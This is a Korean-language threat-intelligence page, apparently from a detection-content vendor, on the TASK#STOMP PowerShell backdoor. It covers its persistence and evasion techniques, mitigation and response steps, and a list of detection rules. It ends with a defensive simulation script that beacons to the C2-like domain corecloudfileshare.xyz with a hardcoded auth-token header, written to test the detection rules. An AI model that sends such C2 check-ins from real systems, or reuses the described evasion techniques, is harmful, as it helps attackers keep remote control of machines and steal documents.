SOC Prime Bias: High

01 Oct 2026 07:43 UTC

TASK#STOMP: 문서 도난 및 원격 접근을 위한 PowerShell 백도어

Author Photo
SOC Prime Team linkedin icon 팔로우
TASK#STOMP: 문서 도난 및 원격 접근을 위한 PowerShell 백도어
shield icon

Detection stack

  • AIDR
  • Alert
  • ETL
  • Query

요약

TASK#STOMP는 VBScript 오케스트레이션을 활용하여 다중 지속성 메커니즘을 구축하는 탄력적인 PowerShell 기반 백도어입니다. 이 멀웨어는 C# 컴파일을 런타임에 사용하여 TLS 인증서 검증을 우회하고 첩보 작전을 위한 두 가지 중복 C2 채널을 유지합니다. 기능으로는 자동 문서 절도, 감시, 손상된 Windows 시스템에서의 임의 원격 명령 실행이 포함됩니다.

조사

Securonix 위협 연구팀은 스크립트 주도 Windows 감염 체인의 정적 및 동적 분석을 수행했습니다. 연구자들은 Base64로 인코딩된 페이로드를 디코딩했으며, 특히 diag_pack.dat and win_conn_cfg.dat, 등을 포함하여 실행 프로세스 트리를 재구성했습니다. 조사에서 타임스탐핑, 예약된 작업 회전, 및 런타임 .NET 컴파일 기술을 사용하여 보안 탐지를 회피하는 방법을 밝혀냈습니다.

완화

방어자는 특히 의심스러운 프로세스 관계를 모니터링해야 합니다. wscript.exe or cscript.exe 가 schtasks.exe 를 사용자 쓰기 가능한 디렉터리에 저장된 XML 정의를 통해 실행하는 것을 감시해야 합니다. PowerShell 스크립트 블록 로깅과 AMSI 텔레메트리를 활성화하면 메모리 내 페이로드 디코딩을 식별하는 데 도움이 될 수 있습니다. 알려진 C2 도메인 차단 및 예기치 않은 것을 탐지하는 것 또한 필요합니다 csc.exe 가 생성한 자식 프로세스를 파워셸에서 실행하여 추가로 실행을 방해할 수 있습니다.

응답

TASK#STOMP 활동이 감지되면, 응답자는 예약된 작업 및 시작 프로그램 폴더 항목을 포함한 모든 지속성 앵커를 조정된 방식으로 제거해야 합니다. 에 연결된 VBScript 및 PowerShell 인스턴스가 활성화되어 있다면 WinDefendSvc 디렉터리를 종료해야 합니다. 작업 XML 파일과 계층화된 .dat 페이로드는 포렌식 분석 전에 보존되어야 합니다.

키워드: TASK#STOMP, PowerShell 백도어, VBScript, 다중 앵커 지속성, C# 컴파일, TLS 인증서 검증, 중복 C2, 문서 절도, 감시, 원격 명령 실행, Securonix 위협 연구, Base64, diag_pack.dat, win_conn_cfg.dat, 타임스탐핑, 예약된 작업 회전, .NET 컴파일, wscript.exe, cscript.exe, schtasks.exe, 스크립트 블록 로깅, AMSI, csc.exe, WinDefendSvc.

공격 흐름

탐지

가능한 시스템 열거 (cmdline에서)

SOC Prime 팀
2026년 9월 29일

파워셸에서 의심스러운 .NET 메서드 호출 (powershell에서)

SOC Prime 팀
2026년 9월 29일

자동 시작 위치에 의심스러운 바이너리 / 스크립트 (file_event에서)

SOC Prime 팀
2026년 9월 29일

의심스러운 예약 작업 (audit에서)

SOC Prime 팀
2026년 9월 28일

LOLBAS WScript / CScript (process_creation에서)

SOC Prime 팀
2026년 9월 25일

의심스러운 파워셸 문자열 (cmdline에서)

SOC Prime 팀
2026년 9월 24일

의심스러운 디렉터리에서 파워셸 실행 파일 및 우회 실행 정책 사용 (cmdline에서)

SOC Prime 팀
2026년 9월 24일

예상 지연 실행 동작 (cmdline에서)

SOC Prime 팀
2026년 9월 24일

탐지를 위한 IOCs (HashSha256): TASK#STOMP: 문서 절도 및 원격 접근을 위한 PowerShell 백도어

SOC Prime AI 규칙
2026년 9월 29일

탐지를 위한 IOCs (SourceIP): TASK#STOMP: 문서 절도 및 원격 접근을 위한 PowerShell 백도어

SOC Prime AI 규칙
2026년 9월 29일

탐지를 위한 IOCs (DestinationIP): TASK#STOMP: 문서 절도 및 원격 접근을 위한 PowerShell 백도어

SOC Prime AI 규칙
2026년 9월 29일

TASK#STOMP PowerShell C2 통신 감지 [Windows 네트워크 연결]

SOC Prime AI 규칙
2026년 9월 29일

TASK#STOMP PowerShell 백도어 활동 감지 [Windows Powershell]

SOC Prime AI 규칙
2026년 9월 29일

TASK#STOMP PowerShell 백도어 탐지 [Windows 프로세스 생성]

SOC Prime AI 규칙
2026년 9월 29일

시뮬레이션 실행

  • 공격 내러티브 및 명령: 공격자는 TASK#STOMP 백도어를 사용하여 워크스테이션에 지속성을 성공적으로 구축했습니다. 추가 지시를 받고 도난당한 데이터를 유출하기 위해 멀웨어는 PowerShell 세션을 시작합니다. 스크립트는 파일 공유 서비스를 모방한 도메인과 통신하여 합법적인 웹 트래픽인 척 설계되었습니다 (corecloudfileshare.xyz). C2와의 통신은 권한이 있는 백도어만이 가능하도록 하기 위해 스크립트에는 하드코딩된 X-Auth-Token 가 HTTP 요청 헤더에 포함됩니다. 이 특정 목적지와 헤더의 결합이 우리의 탐지 논리를 발동하는 주요 트리거입니다.

  • 회귀 테스트 스크립트:

    # TASK#STOMP 시뮬레이션 스크립트
    # 목적: 감지 규칙을 발동하기 위한 C2 통신 모방
    
    $C2Domain = "http://corecloudfileshare.xyz/api/checkin"
    $Headers = @{
        "X-Auth-Token" = "STOMP_DEBUG_TOKEN_9928374"
        "User-Agent"   = "Mozilla/5.0 (Windows NT 10.0; Win64; x64)"
    }
    
    Write-Host "[+] $C2Domain에 대한 시뮬레이션된 C2 통신을 시작합니다..."
    try {
        # 도메인이 실제 테스트 환경에서 해결되지 않을 것이기 때문에 -ErrorAction SilentlyContinue를 사용합니다
        Invoke-WebRequest -Uri $C2Domain -Headers $Headers -Method Get -ErrorAction SilentlyContinue
        Write-Host "[+] 명령이 전송되었습니다."
    } catch {
        Write-Host "[!] 연결 실패 (도메인이 존재하지 않을 때 예상됨), 하지만 텔레메트리가 생성되어야 합니다."
    }
  • 정리 명령:

    # 시뮬레이션 스크립트에 의해 생성된 지속적인 아티팩트가 없습니다.
    # 파일이 삭제되었다면, 다음을 사용하세요: Remove-Item -Path "C:pathtosimulated_malware.exe" -Force
    Write-Host "[+] 시뮬레이션 정리 완료. 제거된 아티팩트 없음."